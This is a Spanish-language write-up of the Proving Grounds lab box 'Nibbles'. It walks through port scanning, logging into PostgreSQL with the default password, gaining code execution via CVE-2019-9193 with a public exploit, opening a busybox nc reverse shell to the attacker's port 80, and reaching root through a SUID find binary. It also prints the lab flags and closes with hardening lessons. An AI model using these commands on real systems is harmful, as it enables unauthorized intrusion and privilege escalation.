the_open_door
café
ESEN

Nibbles

Proving Grounds PracticeMediaLinux192.168.114.47

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#postgresql#cve-2019-9193#copy-program#default-credentials#rce#suid-find#suid-abuse#gtfobins#oscp
TL;DR. Nibbles expone un PostgreSQL en el puerto 5437 que acepta las credenciales por defecto postgres:postgres. Con acceso de superusuario, la cláusula COPY ... FROM PROGRAM (CVE-2019-9193) permite ejecutar comandos como el usuario postgres; el exploit 50847.py automatiza la reverse shell, que entra por un puerto de salida permitido (el 80). Ya dentro, linpeas señala que /usr/bin/find tiene el bit SUID, así que find -exec /bin/sh -p (GTFOBins) da una shell con euid=0 y, con ella, root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.114.47
64 bytes from 192.168.114.47: icmp_seq=1 ttl=61 time=31.1 ms

Barremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.114.47
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
5437/tcp open  postgresql
nmap -p21,22,80,5437 -sCV 192.168.114.47 -oN targetedScan
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.38 ((Debian))
5437/tcp open  postgresql PostgreSQL DB 11.3 - 11.9

El FTP y el Apache no llevan a nada útil (el web sirve la plantilla por defecto sin contenido). Lo llamativo es el PostgreSQL en el 5437: un gestor de base de datos expuesto a la red, y encima en un puerto no estándar, es casi siempre el camino.

PostgreSQL - TCP 5437

Antes de buscar exploits, probamos lo más barato: credenciales por defecto. El usuario postgres con contraseña postgres entra directamente.

psql -U postgres -h 192.168.114.47 -p 5437
Password: postgres
psql (18.1 (Debian 18.1-1), server 11.7 (Debian 11.7-0+deb10u1))
Type "help" for help.

postgres=# \l
   Name    |  Owner   | Encoding | ...
-----------+----------+----------+----
 postgres  | postgres | UTF8     |
 template0 | postgres | UTF8     |
 template1 | postgres | UTF8     |
(3 rows)

El servidor es la 11.7, y hemos entrado como superusuario (postgres). Esa combinación habilita un vector conocido:

searchsploit 'postgresql 11'
searchsploit -m multiple/remote/50847.py
PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated)  |  multiple/remote/50847.py

Shell como postgres

COPY ... FROM PROGRAM: RCE (CVE-2019-9193)

La técnica (CVE-2019-9193) no es un fallo de memoria sino el abuso de una función legítima: COPY ... FROM PROGRAM ejecuta un programa del sistema y vuelca su salida en una tabla, y solo está al alcance de un superusuario, que es justo lo que nos dan las credenciales por defecto. Por eso no hay escalada de privilegios aquí: el comando corre como postgres, el usuario del servicio.

Primero confirmamos la ejecución sin disparar todavía una shell: dejamos un tcpdump escuchando ICMP y pedimos al objetivo que nos haga ping. Si llegan los paquetes, la RCE es real.

tcpdump -i tun0 icmp
python3 50847.py -i 192.168.114.47 -p 5437 -d template1 -c "ping -c 4 192.168.45.227"

El exploit confirma PostgreSQL 11.7 vulnerable y ejecuta el ping; tcpdump ve los cuatro echo request y sus reply

[+] Connection to Database established
[+] PostgreSQL version 11.7 is likely vulnerable
[+] Creating table _10af30c16d479e7200e8e40972088a68
[+] Command executed
PING 192.168.45.227 (192.168.45.227) 56(84) bytes of data.
4 packets transmitted, 4 received, 0% packet loss, time 8ms
[+] Deleting table _10af30c16d479e7200e8e40972088a68

22:44:35.783371 IP 192.168.114.47 > 192.168.45.227: ICMP echo request, id 3396, seq 1, length 64
22:44:35.783394 IP 192.168.45.227 > 192.168.114.47: ICMP echo reply, id 3396, seq 1, length 64

Los cuatro echo request llegan desde la propia víctima: la ejecución es real, no una suposición por la versión. El exploit deja además una pista de su mecánica, ya que crea y borra una tabla temporal (_10af30c16d479e7200e8e40972088a68) para colar el comando, que es justo lo que hace el COPY ... FROM PROGRAM.

Confirmada la ejecución, cambiamos el comando por una reverse shell. Como en otras cajas de esta tanda, el retorno hacia un puerto alto no vuelve por el filtrado de salida, así que apuntamos al 80, que la máquina ya tiene abierto, con busybox nc. Dejamos Penelope a la escucha en el 80:

penelope 80

Luego disparamos la reverse shell:

python3 50847.py -i 192.168.114.47 -p 5437 -d template1 -c "busybox nc 192.168.45.227 80 -e bash"

Penelope recibe la reverse shell desde nibbles y la promociona a PTY; el prompt es postgres@nibbles

[+] Connecting to PostgreSQL Database on 192.168.114.47:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _77456cb9a1eaa5cdd12ef78351b02bb4

La shell entra como postgres. Leemos la primera prueba, que está en el home de wilson pero es legible por nuestro usuario:

cat /home/wilson/local.txt && whoami && hostname

local.txt leido como postgres en nibbles, con whoami postgres y hostname nibbles

654f3c5e880cd4474602ef4aa5db2417

Escalada de privilegios

SUID en /usr/bin/find

Lo primero es enumerar los binarios SUID a mano, sin depender de ningún script:

find / -perm -4000 -type f 2>/dev/null

Destaca /usr/bin/find con el bit SUID activo y propietario root. Para confirmarlo con más contexto subimos también linpeas (repo), que lo resalta en el apartado de ficheros con permisos interesantes:

wget http://192.168.45.227/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh

linpeas marca /usr/bin/find con permisos -rwsr-xr-x propiedad de root en la seccion de binarios SUID

╔══════════╣ Files with Interesting Permissions
╚ SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root  10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 427K Jan 31  2020 /usr/lib/openssh/ssh-keysign
...
-rwsr-xr-x 1 root root  63K Jan 10  2019 /usr/bin/su
-rwsr-xr-x 1 root root 309K Feb 16  2019 /usr/bin/find
-rwsr-xr-x 1 root root 154K Feb  2  2020 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root  35K Jan 10  2019 /usr/bin/umount  --->  BSD/Linux(08-1996)

Un binario con SUID corre con el UID de su propietario (aquí root), no con el de quien lo lanza. find permite ejecutar comandos con -exec, y según GTFOBins eso basta para abrir una shell manteniendo el privilegio. La opción -p evita que bash deje caer el euid elevado:

/usr/bin/find . -exec /bin/sh -p \; -quit

Tras find -exec /bin/sh -p el id muestra euid=0(root): la shell es root

# whoami && id
root
uid=106(postgres) gid=113(postgres) euid=0(root) groups=113(postgres),112(ssl-cert)

El euid=0(root) confirma la escalada. Leemos la prueba final:

cat /root/proof.txt

proof.txt leido con euid root, junto a id y hostname nibbles

f34ffed629528850b0a860ff87798bf5

Cadena de ataque

PostgreSQL 11.7 expuesto (TCP 5437)
        │  credenciales por defecto postgres:postgres (superusuario)
        ▼
COPY ... FROM PROGRAM  ──  CVE-2019-9193  ──  RCE como postgres
        │  busybox nc hacia el 80 (puerto de salida permitido)
        ▼
reverse shell como postgres  (local.txt)
        │  SUID en /usr/bin/find  →  find -exec /bin/sh -p
        ▼
shell con euid=0  →  root  (proof.txt)

Lecciones aprendidas

  • Las credenciales por defecto siguen siendo el camino más corto. Antes de montar exploits, probar postgres:postgres cuesta un segundo y aquí abre la puerta entera. Cambiar las contraseñas por defecto y no exponer la base de datos a la red habría cerrado el vector.
  • COPY ... PROGRAM es una función, no un fallo, pero con superusuario es RCE. PostgreSQL discute el CVE-2019-9193 porque la cláusula exige rol de superusuario; el problema real es conceder ese rol (o dejar las credenciales por defecto) a una cuenta accesible desde fuera. Una cuenta de aplicación con privilegios mínimos no podría usarla.
  • El filtrado de salida marca el puerto de retorno. El retorno por un puerto alto no volvía; apuntar la reverse shell a un puerto que la máquina ya tiene abierto (el 80) evita ese control.
  • El bit SUID en un binario versátil es escalada directa. find, con -exec, ejecuta cualquier comando con el privilegio del propietario. Revisar find / -perm -4000 y retirar el SUID de binarios que no lo necesitan es una medida básica de bastionado.
Cheatsheet de comandos 9 comandos

Repaso rápido